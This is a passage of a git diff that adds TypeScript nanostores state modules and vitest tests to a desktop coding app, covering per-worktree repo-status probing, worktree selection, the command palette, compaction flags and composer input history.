+    $currentCwd.set('/repo-a')
+    expect($repoStatus.get()).toEqual(sampleStatus)
+    $currentCwd.set('/repo-b')
+    expect($repoStatus.get()).toEqual(otherStatus)
+  })
+
+  it('runs one probe at a time and coalesces overlap into one trailing refresh per drain', async () => {
+    const resolvers: Array<(status: ClawCodexRepoStatus | null) => void> = []
+    const calls: string[] = []
+    let active = 0
+    let maxActive = 0
+
+    stubProbe(
+      cwd =>
+        new Promise(resolve => {
+          calls.push(cwd)
+          active++
+          maxActive = Math.max(maxActive, active)
+          resolvers.push(status => {
+            active--
+            resolve(status)
+          })
+        })
+    )
+
+    $currentCwd.set('/repo-c')
+    const first = refreshRepoStatus('/repo-a')
+    const second = refreshRepoStatus('/repo-b')
+    const third = refreshRepoStatus('/repo-c')
+
+    expect(calls).toEqual(['/repo-a'])
+    expect(maxActive).toBe(1)
+    expect($repoStatusLoading.get()).toBe(true)
+
+    resolvers.shift()?.(sampleStatus)
+    await Promise.resolve()
+    await Promise.resolve()
+
+    expect(maxActive).toBe(1)
+    expect(calls.length).toBe(2)
+
+    resolvers.shift()?.(otherStatus)
+    await Promise.resolve()
+    await Promise.resolve()
+    resolvers.shift()?.(sampleStatus)
+    await Promise.all([first, second, third])
+
+    expect(maxActive).toBe(1)
+    expect(calls).toEqual(['/repo-a', '/repo-b', '/repo-c'])
+    expect(repoStatusForCwd('/repo-a').get()).toEqual(sampleStatus)
+    expect(repoStatusForCwd('/repo-b').get()).toEqual(otherStatus)
+    expect(repoStatusForCwd('/repo-c').get()).toEqual(sampleStatus)
+    expect($repoStatus.get()).toEqual(sampleStatus)
+    expect($repoStatusLoading.get()).toBe(false)
+  })
+
+  it('refreshes when the stored session id changes even if the cwd is unchanged', async () => {
+    const probe = vi.fn(async () => sampleStatus)
+    stubProbe(probe)
+
+    $currentCwd.set('/repo')
+    $selectedStoredSessionId.set('session-a')
+    // The cwd subscription fires on the set above; drain the debounced refresh.
+    vi.advanceTimersByTime(200)
+    await vi.runAllTicks()
+
+    probe.mockClear()
+
+    // Switch to a different session in the SAME repo dir. The cwd atom value is
+    // identical, so its subscription would not re-fire — but the stored-session
+    // id did change, which must still trigger a probe so the branch label
+    // tracks the new session's checked-out branch.
+    $selectedStoredSessionId.set('session-b')
+    vi.advanceTimersByTime(200)
+    await vi.runAllTicks()
+
+    expect(probe).toHaveBeenCalledWith('/repo')
+  })
+
+  it('registerRepoStatusCwd keeps that worktree in unscoped refreshes', async () => {
+    const probe = vi.fn(async cwd => (cwd === '/tile' ? otherStatus : sampleStatus))
+    stubProbe(probe)
+
+    $currentCwd.set('/main')
+    const release = registerRepoStatusCwd('/tile')
+    // Drain the register kick + cwd edge so the assert only covers the
+    // unscoped fan-out.
+    vi.advanceTimersByTime(200)
+    await refreshAllRepoStatuses()
+    probe.mockClear()
+
+    // Unscoped fan-out: every registered worktree + primary, not main only.
+    await refreshAllRepoStatuses()
+
+    const probed = [...new Set(probe.mock.calls.map(call => call[0]))].sort()
+    expect(probed).toEqual(['/main', '/tile'])
+    expect(repoStatusForCwd('/tile').get()).toEqual(otherStatus)
+    expect(repoStatusForCwd('/main').get()).toEqual(sampleStatus)
+
+    release?.()
+  })
+})
+
+describe('repoChangeKindForPath', () => {
+  it('does not notify a row when only another path changes', () => {
+    $currentCwd.set('/repo')
+    $repoStatusByCwd.set({ '/repo': { ...sampleStatus, files: [] } })
+    const row = repoChangeKindForPath('/repo/a.ts')
+    const listener = vi.fn()
+    const unsubscribe = row.subscribe(listener)
+
+    $repoStatusByCwd.set({
+      '/repo': {
+        ...sampleStatus,
+        files: [{ path: 'b.ts', untracked: true } as ClawCodexRepoStatus['files'][number]]
+      }
+    })
+    expect(listener).toHaveBeenCalledTimes(1)
+
+    $repoStatusByCwd.set({
+      '/repo': {
+        ...sampleStatus,
+        files: [{ path: 'a.ts', untracked: true } as ClawCodexRepoStatus['files'][number]]
+      }
+    })
+    expect(listener).toHaveBeenCalledTimes(2)
+    expect(listener.mock.calls.at(-1)?.[0]).toBe('added')
+
+    unsubscribe()
+  })
+})
diff --git a/ui-desktop/src/store/coding-status.ts b/ui-desktop/src/store/coding-status.ts
new file mode 100644
index 000000000..66c384fa4
--- /dev/null
+++ b/ui-desktop/src/store/coding-status.ts
@@ -0,0 +1,525 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+import type { ClawCodexGitWorktree, ClawCodexRepoStatus } from '@/global'
+import { desktopGit } from '@/lib/desktop-git'
+
+import {
+  $projectScope,
+  $projectTree,
+  $worktreeDialog,
+  $worktreeRefreshToken,
+  ALL_PROJECTS,
+  projectRootCwd
+} from './projects'
+import {
+  $busy,
+  $currentCwd,
+  $selectedStoredSessionId,
+  $workspaceCwdOwner,
+  workspaceCwdBelongsToSelectedSession
+} from './session'
+import { $focusedRuntimeId, $sessionStates } from './session-states'
+import { $workspaceChangeTick } from './workspace-events'
+
+// Live working-tree status for every git surface on screen — the data backbone
+// of the composer coding rail. Keyed PER CWD: the main pane and each session
+// tile can sit in different worktrees, so a single global status would paint
+// the primary repo's branch/± onto every rail (the "tile shows main's diff"
+// bug). It's the same "cheaply re-read git truth at the right moments" model
+// as the sidebar worktree probe: a single bounded `git status --porcelain=v2`
+// per on-screen worktree per refresh, driven by structural edges (cwd change,
+// turn settle, window focus, worktree mutation), never per-token and never
+// touching the conversation/system-prompt cache.
+
+const REPO_STATUS_REFRESH_DEBOUNCE_MS = 100
+
+const normalizeCwd = (cwd?: null | string): null | string => cwd?.trim() || null
+
+const EMPTY_WORKTREES: ClawCodexGitWorktree[] = []
+
+// Status + worktrees per normalized cwd. Entries outlive their surface (the
+// map stays bounded by the worktrees touched this run) so re-opening a tile
+// paints its last-known status instantly while the fresh probe runs.
+export const $repoStatusByCwd = atom<Record<string, ClawCodexRepoStatus | null>>({})
+export const $repoWorktreesByCwd = atom<Record<string, ClawCodexGitWorktree[]>>({})
+
+// The PRIMARY (main pane) view — the active session's slice of the per-cwd
+// truth. Existing consumers (keybind gate, base-branch picker, file tree) keep
+// reading these; only surfaces that can live in ANOTHER worktree (tile rails)
+// need the per-cwd accessors below. During a conversation switch `$currentCwd`
+// can still name the previous conversation's path, so ownership hides only this
+// primary slice; the per-cwd cache stays available to any tile that genuinely
+// owns that worktree (#71254).
+export const $repoStatus: ReadableAtom<ClawCodexRepoStatus | null> = computed(
+  [$repoStatusByCwd, $currentCwd, $selectedStoredSessionId, $workspaceCwdOwner],
+  (byCwd, cwd) => (workspaceCwdBelongsToSelectedSession() ? (byCwd[normalizeCwd(cwd) ?? ''] ?? null) : null)
+)
+
+export const $repoStatusLoading = atom(false)
+
+// The repo's real worktrees (for the coding rail's "jump to a worktree" menu).
+// Refreshed on the same edges as the status probe; empty off a repo.
+export const $repoWorktrees: ReadableAtom<ClawCodexGitWorktree[]> = computed(
+  [$repoWorktreesByCwd, $currentCwd, $selectedStoredSessionId, $workspaceCwdOwner],
+  (byCwd, cwd) =>
+    workspaceCwdBelongsToSelectedSession() ? (byCwd[normalizeCwd(cwd) ?? ''] ?? EMPTY_WORKTREES) : EMPTY_WORKTREES
+)
+
+// Reference-stable per-cwd slices, so any number of rails can each subscribe
+// to their own worktree's status without re-deriving atoms per render.
+const statusAtomByCwd = new Map<string, ReadableAtom<ClawCodexRepoStatus | null>>()
+const worktreesAtomByCwd = new Map<string, ReadableAtom<ClawCodexGitWorktree[]>>()
+const $noRepoStatus = atom<ClawCodexRepoStatus | null>(null)
+const $noWorktrees = atom<ClawCodexGitWorktree[]>(EMPTY_WORKTREES)
+
+/** Reactive status for one repo cwd (a tile's worktree). Stable per cwd. */
+export function repoStatusForCwd(cwd?: null | string): ReadableAtom<ClawCodexRepoStatus | null> {
+  const key = normalizeCwd(cwd)
+
+  if (!key) {
+    return $noRepoStatus
+  }
+
+  let $slice = statusAtomByCwd.get(key)
+
+  if (!$slice) {
+    $slice = computed($repoStatusByCwd, byCwd => byCwd[key] ?? null)
+    statusAtomByCwd.set(key, $slice)
+  }
+
+  return $slice
+}
+
+/**
+ * Is this path a git repo? This function reads the probe cache, and probes on
+ * demand when the cache has no entry for the path. Use it to validate any repo
+ * that was picked out of candidate FOLDERS: a path in a project row is not
+ * evidence that git can branch from it. False on a remote backend, because
+ * there is no local git truth to probe.
+ */
+export async function isGitRepoPath(cwd: string): Promise<boolean> {
+  const key = normalizeCwd(cwd)
+
+  if (!key) {
+    return false
+  }
+
+  if (key in $repoStatusByCwd.get()) {
+    return $repoStatusByCwd.get()[key] !== null
+  }
+
+  if (!desktopGit()?.repoStatus) {
+    return false
+  }
+
+  await refreshRepoStatus(key)
+
+  return ($repoStatusByCwd.get()[key] ?? null) !== null
+}
+
+/** Reactive worktree list for one repo cwd. Stable per cwd. */
+export function repoWorktreesForCwd(cwd?: null | string): ReadableAtom<ClawCodexGitWorktree[]> {
+  const key = normalizeCwd(cwd)
+
+  if (!key) {
+    return $noWorktrees
+  }
+
+  let $slice = worktreesAtomByCwd.get(key)
+
+  if (!$slice) {
+    $slice = computed($repoWorktreesByCwd, byCwd => byCwd[key] ?? EMPTY_WORKTREES)
+    worktreesAtomByCwd.set(key, $slice)
+  }
+
+  return $slice
+}
+
+export type RepoChangeKind = 'added' | 'conflicted' | 'modified'
+
+// Absolute file path → its git change kind, for VS Code-style file-tree tinting.
+// Reuses the same bounded $repoStatus probe (capped file list); git reports
+// repo-root-relative paths, so we join them onto the active cwd. Deletions never
+// appear — the file is gone from disk, so there's no tree row to tint.
+export const $repoChangeByPath = computed([$repoStatus, $currentCwd], (status, cwd) => {
+  const map = new Map<string, RepoChangeKind>()
+  const root = (cwd || '').replace(/[/\\]+$/, '')
+
+  if (!status || !root) {
+    return map
+  }
+
+  for (const file of status.files) {
+    const kind: RepoChangeKind = file.conflicted ? 'conflicted' : file.untracked ? 'added' : 'modified'
+    map.set(`${root}/${file.path}`, kind)
+  }
+
+  return map
+})
+
+/**
+ * Per-row Git decoration subscription. A visible file row reads one scalar, so
+ * a fresh repo-status map only re-renders that row when its own kind changed.
+ */
+export function repoChangeKindForPath(path: string): ReadableAtom<RepoChangeKind | undefined> {
+  return computed($repoChangeByPath, changes => changes.get(path))
+}
+
+// Cwds whose rails are on screen right now (refcounted — two tiles in one
+// worktree register it twice). Every refresh edge re-probes each registered
+// cwd plus the primary workspace, so a tile's rail moves when ITS agent
+// touches the tree — not only when main's does.
+const registeredCwds = new Map<string, number>()
+
+/** Keep `cwd` in the refresh set while its rail is mounted. Returns a release
+ *  (undefined for a blank cwd), kicking off an immediate probe on register. */
+export function registerRepoStatusCwd(cwd?: null | string): (() => void) | undefined {
+  const key = normalizeCwd(cwd)
+
+  if (!key) {
+    return undefined
+  }
+
+  registeredCwds.set(key, (registeredCwds.get(key) ?? 0) + 1)
+  scheduleRepoStatusRefresh(key)
+
+  let released = false
+
+  return () => {
+    if (released) {
+      return
+    }
+
+    released = true
+    const count = registeredCwds.get(key) ?? 0
+
+    if (count <= 1) {
+      registeredCwds.delete(key)
+    } else {
+      registeredCwds.set(key, count - 1)
+    }
+  }
+}
+
+function setRepoStatusEntry(target: string, status: ClawCodexRepoStatus | null): void {
+  const byCwd = $repoStatusByCwd.get()
+
+  // Skip the no-op null→null write so a repeated failed probe doesn't churn
+  // every rail's computed slice.
+  if (target in byCwd && byCwd[target] === status) {
+    return
+  }
+
+  $repoStatusByCwd.set({ ...byCwd, [target]: status })
+}
+
+function setRepoWorktreesEntry(target: string, worktrees: ClawCodexGitWorktree[]): void {
+  const byCwd = $repoWorktreesByCwd.get()
+
+  if (target in byCwd && byCwd[target] === worktrees) {
+    return
+  }
+
+  $repoWorktreesByCwd.set({ ...byCwd, [target]: worktrees })
+}
+
+interface RepoStatusRefreshRequest {
+  probe: (cwd: string) => Promise<ClawCodexRepoStatus | null>
+  seq: number
+  target: string
+}
+
+// Coalesce overlapping probes: many triggers can fire around a turn boundary
+// (busy flip + worktree token + focus), and several worktrees can need a
+// re-probe at once. Keep ONE probe in flight and at most one trailing request
+// per cwd so a slow `git status` cannot multiply into an unbounded subprocess
+// pile-up.
+const seqByCwd = new Map<string, number>()
+const pendingByCwd = new Map<string, RepoStatusRefreshRequest>()
+let repoStatusRefreshInFlight: Promise<void> | null = null
+let repoStatusRefreshTimer: ReturnType<typeof setTimeout> | null = null
+const scheduledCwds = new Set<string>()
+let scheduledAllTargets = false
+
+// A result only lands while it is still the newest request for ITS cwd. The
+// debounce below deliberately delays the next probe; without this live check,
+// an old probe can land during that gap and briefly make a session look like
+// it is on a stale branch.
+const isCurrentSeq = (target: string, seq: number): boolean => seqByCwd.get(target) === seq
+
+async function loadWorktrees(target: string, seq: number): Promise<void> {
+  const list = desktopGit()?.worktreeList
+
+  if (!list) {
+    setRepoWorktreesEntry(target, EMPTY_WORKTREES)
+
+    return
+  }
+
+  try {
+    const worktrees = await list(target)
+
+    if (isCurrentSeq(target, seq)) {
+      setRepoWorktreesEntry(target, worktrees)
+    }
+  } catch {
+    if (isCurrentSeq(target, seq)) {
+      setRepoWorktreesEntry(target, EMPTY_WORKTREES)
+    }
+  }
+}
+
+/**
+ * Re-probe the working tree for one cwd. Best-effort: a non-repo, a remote
+ * backend, or a missing probe clears that cwd's entry so its rail hides
+ * rather than showing stale data.
+ */
+async function runRepoStatusRefresh({ probe, seq, target }: RepoStatusRefreshRequest): Promise<void> {
+  try {
+    const status = await probe(target)
+
+    // Drop the result if a newer refresh for this cwd started while we were
+    // probing — the newer probe owns the entry.
+    if (!isCurrentSeq(target, seq)) {
+      return
+    }
+
+    setRepoStatusEntry(target, status)
+
+    // Worktrees only matter inside a repo; clear them otherwise.
+    if (status) {
+      void loadWorktrees(target, seq)
+    } else {
+      setRepoWorktreesEntry(target, EMPTY_WORKTREES)
+    }
+  } catch {
+    if (isCurrentSeq(target, seq)) {
+      setRepoStatusEntry(target, null)
+      setRepoWorktreesEntry(target, EMPTY_WORKTREES)
+    }
+  }
+}
+
+async function drainRepoStatusRefreshes(): Promise<void> {
+  while (pendingByCwd.size > 0) {
+    const [target, request] = pendingByCwd.entries().next().value as [string, RepoStatusRefreshRequest]
+
+    pendingByCwd.delete(target)
+    await runRepoStatusRefresh(request)
+  }
+
+  // This reset is synchronous with the final empty-queue check. A refresh
+  // arriving before this continuation runs is drained above; one arriving
+  // afterward sees no in-flight promise and starts a new drain.
+  repoStatusRefreshInFlight = null
+  $repoStatusLoading.set(false)
+}
+
+export function refreshRepoStatus(cwd?: null | string): Promise<void> {
+  const target = normalizeCwd(cwd ?? $currentCwd.get())
+  const probe = desktopGit()?.repoStatus
+
+  if (!probe) {
+    // Remote backend / no bridge: there is no local git truth at all — wipe
+    // every entry so no rail shows stale local status, and invalidate any
+    // in-flight probe results.
+    pendingByCwd.clear()
+    seqByCwd.clear()
+    $repoStatusByCwd.set({})
+    $repoWorktreesByCwd.set({})
+    $repoStatusLoading.set(false)
+
+    return repoStatusRefreshInFlight || Promise.resolve()
+  }
+
+  if (!target) {
+    // No cwd (a detached fresh chat). The primary computed already reads null
+    // for a blank cwd, and other worktrees' entries stay valid.
+    return repoStatusRefreshInFlight || Promise.resolve()
+  }
+
+  const seq = (seqByCwd.get(target) ?? 0) + 1
+
+  seqByCwd.set(target, seq)
+  pendingByCwd.set(target, { probe, seq, target })
+  $repoStatusLoading.set(true)
+
+  if (!repoStatusRefreshInFlight) {
+    repoStatusRefreshInFlight = drainRepoStatusRefreshes()
+  }
+
+  return repoStatusRefreshInFlight
+}
+
+/** Registered (on-screen) worktrees + the primary workspace. */
+function refreshTargets(): Set<string> {
+  const targets = new Set(registeredCwds.keys())
+  const primary = normalizeCwd($currentCwd.get())
+
+  if (primary) {
+    targets.add(primary)
+  }
+
+  return targets
+}
+
+/** Re-probe every on-screen worktree (and the primary). Awaits the drain. */
+export async function refreshAllRepoStatuses(): Promise<void> {
+  const targets = refreshTargets()
+
+  if (targets.size === 0) {
+    return
+  }
+
+  // Queue every target, then await the single in-flight drain once.
+  let last: Promise<void> = Promise.resolve()
+
+  for (const target of targets) {
+    last = refreshRepoStatus(target)
+  }
+
+  await last
+}
+
+// `cwd` scopes the refresh to one worktree; omit it to re-probe every
+// on-screen worktree (turn settle, window focus — the tree may have changed
+// under any of them).
+function scheduleRepoStatusRefresh(cwd?: null | string): void {
+  if (cwd === undefined) {
+    scheduledAllTargets = true
+  } else {
+    const key = normalizeCwd(cwd)
+
+    if (key) {
+      scheduledCwds.add(key)
+    }
+  }
+
+  if (repoStatusRefreshTimer) {
+    clearTimeout(repoStatusRefreshTimer)
+  }
+
+  repoStatusRefreshTimer = setTimeout(() => {
+    repoStatusRefreshTimer = null
+    const targets = new Set(scheduledCwds)
+
+    if (scheduledAllTargets) {
+      for (const target of refreshTargets()) {
+        targets.add(target)
+      }
+    }
+
+    scheduledCwds.clear()
+    scheduledAllTargets = false
+
+    for (const target of targets) {
+      void refreshRepoStatus(target)
+    }
+  }, REPO_STATUS_REFRESH_DEBOUNCE_MS)
+}
+
+// ── Triggers ─────────────────────────────────────────────────────────────────
+// Wired once at module load (mirrors projects.ts's module-scope subscriptions).
+// Each is a structural edge where a working tree may have changed under us.
+
+// The active session's cwd changed (session switch / new chat) → the primary
+// computed re-keys instantly (a keyboard action in the switch-to-probe gap can
+// only ever see the NEW repo's last-known facts, never the previous
+// worktree's), then the debounced probe refreshes that repo's truth.
+$currentCwd.subscribe(cwd => scheduleRepoStatusRefresh(cwd))
+
+// Switching sessions can land on the same cwd but a different checked-out
+// branch (the agent ran `git checkout` in another session's terminal). The cwd
+// subscription above won't fire when the path is identical, so the branch label
+// would stay stale until a window focus or turn-settle triggers a refresh.
+// Treat the stored-session id as a structural edge in its own right.
+$selectedStoredSessionId.subscribe(() => scheduleRepoStatusRefresh())
+
+// A worktree add/remove (desktop op, or the agent's out-of-band git in a settled
+// turn / a window refocus — both already bump this token) → re-probe.
+$worktreeRefreshToken.subscribe(() => scheduleRepoStatusRefresh())
+
+// A file-mutating tool finished (event-driven, not polled) → re-probe so the
+// rails' branch/+/- move exactly when an agent touches a tree. Unscoped on
+// purpose: the tool may belong to a background tile's session, so every
+// on-screen worktree re-probes, not just the primary.
+$workspaceChangeTick.subscribe(() => scheduleRepoStatusRefresh())
+
+// A turn settling is the backstop for changes no tool diff announced (e.g. a
+// raw `git` in the terminal): one final refresh when the agent goes idle.
+let prevBusy = $busy.get()
+
+$busy.subscribe(busy => {
+  if (prevBusy && !busy) {
+    scheduleRepoStatusRefresh()
+  }
+
+  prevBusy = busy
+})
+
+// Window focus: external changes while we were away (an outside terminal).
+if (typeof window !== 'undefined') {
+  window.addEventListener('focus', () => scheduleRepoStatusRefresh())
+}
+
+/** Test-only: drop in-flight / pending / registered state so cases don't leak. */
+export function _resetCodingStatusForTests(): void {
+  if (repoStatusRefreshTimer) {
+    clearTimeout(repoStatusRefreshTimer)
+    repoStatusRefreshTimer = null
+  }
+
+  scheduledCwds.clear()
+  scheduledAllTargets = false
+  pendingByCwd.clear()
+  seqByCwd.clear()
+  registeredCwds.clear()
+  repoStatusRefreshInFlight = null
+  $repoStatusByCwd.set({})
+  $repoWorktreesByCwd.set({})
+  $repoStatusLoading.set(false)
+}
+
+// ── New-worktree target resolution ───────────────────────────────────────────
+// This code lives here and not in projects.ts. To pick the target, it must read
+// both the project state and the git truth, and coding-status already depends
+// on projects. A dependency in the other direction is a cycle.
+
+// The repo that a new worktree is cut from: the cwd of the focused surface, or
+// the root of the project the user entered. Both are things the user points at.
+// There is no "use some other project's repo" step, because that branches
+// somewhere the user never selected.
+//
+// A project root is not always a repo, so existence alone is not proof. Each
+// candidate is validated against the probe cache. This function is the only
+// authority on the target, so the hotkey no longer tests `$repoStatus` first,
+// and ⌘⇧B now works from a detached session inside a project. '' means that no
+// repo is in reach. That is a no-op and not an error, because a worktree only
+// exists inside a repo.
+export async function resolveWorktreeRepoPath(): Promise<string> {
+  const runtimeId = $focusedRuntimeId.get()
+  const scope = $projectScope.get()
+
+  const candidates = [
+    runtimeId ? ($sessionStates.get()[runtimeId]?.cwd ?? '') : '',
+    scope === ALL_PROJECTS ? '' : projectRootCwd($projectTree.get().find(node => node.id === scope))
+  ]
+
+  for (const candidate of candidates) {
+    const path = candidate.trim()
+
+    if (path && (await isGitRepoPath(path))) {
+      return path
+    }
+  }
+
+  return ''
+}
+
+export async function openWorktreeDialog(options?: { base?: string; repoPath?: string }): Promise<void> {
+  const repoPath = options?.repoPath?.trim() || (await resolveWorktreeRepoPath())
+
+  if (repoPath) {
+    $worktreeDialog.set({ base: options?.base, repoPath })
+  }
+}
diff --git a/ui-desktop/src/store/command-palette.ts b/ui-desktop/src/store/command-palette.ts
new file mode 100644
index 000000000..9b0a427f9
--- /dev/null
+++ b/ui-desktop/src/store/command-palette.ts
@@ -0,0 +1,49 @@
+import { atom } from 'nanostores'
+
+import { releaseTypingFocus } from '@/components/ui/keyboard-first'
+
+/** Whether the global command palette (Cmd/Ctrl+K) is currently open. */
+export const $commandPaletteOpen = atom(false)
+
+/** Optional nested page to open when the palette next opens (e.g. `pets`). */
+export const $commandPalettePage = atom<string | null>(null)
+
+export function openCommandPalette(): void {
+  $commandPaletteOpen.set(true)
+}
+
+/** Open the palette directly on a nested page (`theme`, `pets`, …). */
+export function openCommandPalettePage(page: string): void {
+  $commandPalettePage.set(page)
+  $commandPaletteOpen.set(true)
+}
+
+// Closing hands the keyboard back to the composer — a hotkey-opened overlay
+// owes typing focus to whatever the user was writing, not to its trigger.
+// Skipped when the palette action itself moved focus (navigating to a route,
+// opening a dialog): those surfaces claim focus after this runs.
+function setOpen(open: boolean): void {
+  const wasOpen = $commandPaletteOpen.get()
+
+  $commandPaletteOpen.set(open)
+
+  if (!open) {
+    $commandPalettePage.set(null)
+
+    if (wasOpen) {
+      releaseTypingFocus()
+    }
+  }
+}
+
+export function closeCommandPalette(): void {
+  setOpen(false)
+}
+
+export function setCommandPaletteOpen(open: boolean): void {
+  setOpen(open)
+}
+
+export function toggleCommandPalette(): void {
+  setOpen(!$commandPaletteOpen.get())
+}
diff --git a/ui-desktop/src/store/compaction.test.ts b/ui-desktop/src/store/compaction.test.ts
new file mode 100644
index 000000000..46aef98f9
--- /dev/null
+++ b/ui-desktop/src/store/compaction.test.ts
@@ -0,0 +1,41 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $compactingSessions, sessionCompacting, setSessionCompacting } from './compaction'
+
+describe('compaction store', () => {
+  beforeEach(() => $compactingSessions.set({}))
+
+  afterEach(() => $compactingSessions.set({}))
+
+  it('tracks compaction per session independently', () => {
+    setSessionCompacting('session-a', true)
+    setSessionCompacting('session-b', true)
+
+    expect($compactingSessions.get()).toEqual({ 'session-a': true, 'session-b': true })
+  })
+
+  it('scopes the view to the session asked for, not whichever is active', () => {
+    setSessionCompacting('session-a', true)
+
+    expect(sessionCompacting('session-a').get()).toBe(true)
+    expect(sessionCompacting('session-b').get()).toBe(false)
+  })
+
+  it('clears a session without disturbing the others', () => {
+    setSessionCompacting('session-a', true)
+    setSessionCompacting('session-b', true)
+
+    setSessionCompacting('session-a', false)
+
+    expect($compactingSessions.get()).toEqual({ 'session-b': true })
+  })
+
+  it('is a no-op when clearing an unknown session', () => {
+    setSessionCompacting('session-a', true)
+    const before = $compactingSessions.get()
+
+    setSessionCompacting('session-missing', false)
+
+    expect($compactingSessions.get()).toBe(before)
+  })
+})
diff --git a/ui-desktop/src/store/compaction.ts b/ui-desktop/src/store/compaction.ts
new file mode 100644
index 000000000..cbe067ee3
--- /dev/null
+++ b/ui-desktop/src/store/compaction.ts
@@ -0,0 +1,37 @@
+import { atom, computed } from 'nanostores'
+
+// Per-session flag while auto-compaction runs mid-turn. Without it the
+// transcript looks like it reset; per-session so a background chat can't
+// clobber the foreground view.
+const keyFor = (sessionId: string | null | undefined): string => sessionId ?? ''
+
+export const $compactingSessions = atom<Record<string, true>>({})
+
+/** Is `sessionId` compacting? Per-session because a transcript may be a tile,
+ *  and a tile must never wear the primary chat's compaction state. */
+export function sessionCompacting(sessionId: null | string) {
+  return computed($compactingSessions, sessions => keyFor(sessionId) in sessions)
+}
+
+export function setSessionCompacting(sessionId: string | null | undefined, active: boolean): void {
+  const key = keyFor(sessionId)
+  const sessions = $compactingSessions.get()
+
+  if (active) {
+    if (key in sessions) {
+      return
+    }
+
+    $compactingSessions.set({ ...sessions, [key]: true })
+
+    return
+  }
+
+  if (!(key in sessions)) {
+    return
+  }
+
+  const next = { ...sessions }
+  delete next[key]
+  $compactingSessions.set(next)
+}
diff --git a/ui-desktop/src/store/completion-sound.ts b/ui-desktop/src/store/completion-sound.ts
new file mode 100644
index 000000000..5087352e3
--- /dev/null
+++ b/ui-desktop/src/store/completion-sound.ts
@@ -0,0 +1,32 @@
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+
+const STORAGE_KEY = 'clawcodex.desktop.completionSoundVariantId'
+
+export const DEFAULT_COMPLETION_SOUND_VARIANT_ID = 1
+
+// Range mirrors COMPLETION_SOUND_VARIANTS in lib/completion-sound.ts. Validating
+// by range (not membership) keeps this store free of a dependency on the lib,
+// which imports the atom back — a membership check would close that cycle.
+const VARIANT_COUNT = 14
+
+export function resolveCompletionSoundVariantId(variantId: number): number {
+  return Number.isInteger(variantId) && variantId >= 1 && variantId <= VARIANT_COUNT
+    ? variantId
+    : DEFAULT_COMPLETION_SOUND_VARIANT_ID
+}
+
+function load(): number {
+  const stored = storedString(STORAGE_KEY)
+
+  return stored ? resolveCompletionSoundVariantId(Number.parseInt(stored, 10)) : DEFAULT_COMPLETION_SOUND_VARIANT_ID
+}
+
+export const $completionSoundVariantId = atom(load())
+
+$completionSoundVariantId.subscribe(id => persistString(STORAGE_KEY, String(id)))
+
+export function setCompletionSoundVariantId(variantId: number) {
+  $completionSoundVariantId.set(resolveCompletionSoundVariantId(variantId))
+}
diff --git a/ui-desktop/src/store/composer-actions.ts b/ui-desktop/src/store/composer-actions.ts
new file mode 100644
index 000000000..b181a45f3
--- /dev/null
+++ b/ui-desktop/src/store/composer-actions.ts
@@ -0,0 +1,69 @@
+import { atom } from 'nanostores'
+
+/**
+ * Composer micro actions — the floating pill strip at the top of the composer's
+ * overlay lane.
+ *
+ * A badge is a label and a `run`; what it does is entirely the registrar's
+ * business. Core ships none — the strip is a seam, filled by contributions to
+ * the `composer.microActions` area (see `composer/contrib.ts`).
+ *
+ * Session-scoped like every other stack feed: keyed by RUNTIME session id, and
+ * written immutably per key so `useSessionSlice` bails out on other sessions'
+ * churn.
+ */
+export interface ComposerAction {
+  /** Stable within a session; also the render key. */
+  id: string
+  label: string
+  /** Codicon name rendered before the label. */
+  icon?: string
+  disabled?: boolean
+  /** What the badge does. Anything: submit a prompt, open a pane, call the
+   *  gateway. Receives the session it was registered for. */
+  run: (sessionId: string) => Promise<void> | void
+}
+
+export const $composerActionsBySession = atom<Record<string, ComposerAction[]>>({})
+
+/**
+ * Two badge sets that would render identically.
+ *
+ * `run` is excluded on purpose: it's a fresh closure on every resolve, so
+ * including it would make every comparison false and defeat the bail-out
+ * below. The invariant that buys: a provider must not change what `run` DOES
+ * without also changing a visible field.
+ */
+const same = (a: readonly ComposerAction[], b: readonly ComposerAction[]) =>
+  a.length === b.length &&
+  a.every((x, i) => {
+    const y = b[i]!
+
+    return x.id === y.id && x.label === y.label && x.icon === y.icon && x.disabled === y.disabled
+  })
+
+/**
+ * Publish this session's badge set.
+ *
+ * A no-op resolve must not write: providers are re-resolved on every composer
+ * render, and an equal-but-fresh array would re-render the stack on every
+ * keystroke. An unchanged set keeps its previous reference, so the store stays
+ * quiet.
+ */
+export function setComposerActions(sid: string, actions: ComposerAction[]) {
+  const current = $composerActionsBySession.get()
+
+  if (!sid || (current[sid] ? same(current[sid], actions) : actions.length === 0)) {
+    return
+  }
+
+  const next = { ...current }
+
+  if (actions.length > 0) {
+    next[sid] = actions
+  } else {
+    delete next[sid]
+  }
+
+  $composerActionsBySession.set(next)
+}
diff --git a/ui-desktop/src/store/composer-input-history.test.ts b/ui-desktop/src/store/composer-input-history.test.ts
new file mode 100644
index 000000000..29322ea36
--- /dev/null
+++ b/ui-desktop/src/store/composer-input-history.test.ts
@@ -0,0 +1,138 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import {
+  $perSessionBrowse,
+  browseBackward,
+  browseForward,
+  deriveUserHistory,
+  isBrowsingHistory,
+  resetBrowseState
+} from './composer-input-history'
+
+const SESSION_A = 'session-a'
+const SESSION_B = 'session-b'
+
+// Newest-first user text ring, what the caller passes to browse*.
+const HISTORY = ['third', 'second', 'first']
+
+const MSG = (role: string, text: string) => ({ id: '', role, text })
+
+beforeEach(() => {
+  $perSessionBrowse.set({})
+})
+
+describe('deriveUserHistory', () => {
+  it('returns user messages newest-first with empty/whitespace skipped', () => {
+    const messages = [MSG('user', '   '), MSG('assistant', 'hi'), MSG('user', 'first'), MSG('user', 'second')]
+
+    expect(deriveUserHistory(messages, m => m.text)).toEqual(['second', 'first'])
+  })
+})
+
+describe('browseBackward', () => {
+  it('returns null when history is empty', () => {
+    expect(browseBackward(SESSION_A, '', [])).toBeNull()
+  })
+
+  it('returns the most recent entry on first press and saves the draft', () => {
+    const result = browseBackward(SESSION_A, 'unsent draft', HISTORY)
+
+    expect(result).toBe('third')
+    expect($perSessionBrowse.get()[SESSION_A]!.draftSnapshot).toBe('unsent draft')
+  })
+
+  it('moves to older entries on subsequent presses and stops at the oldest', () => {
+    expect(browseBackward(SESSION_A, '', HISTORY)).toBe('third')
+    expect(browseBackward(SESSION_A, '', HISTORY)).toBe('second')
+    expect(browseBackward(SESSION_A, '', HISTORY)).toBe('first')
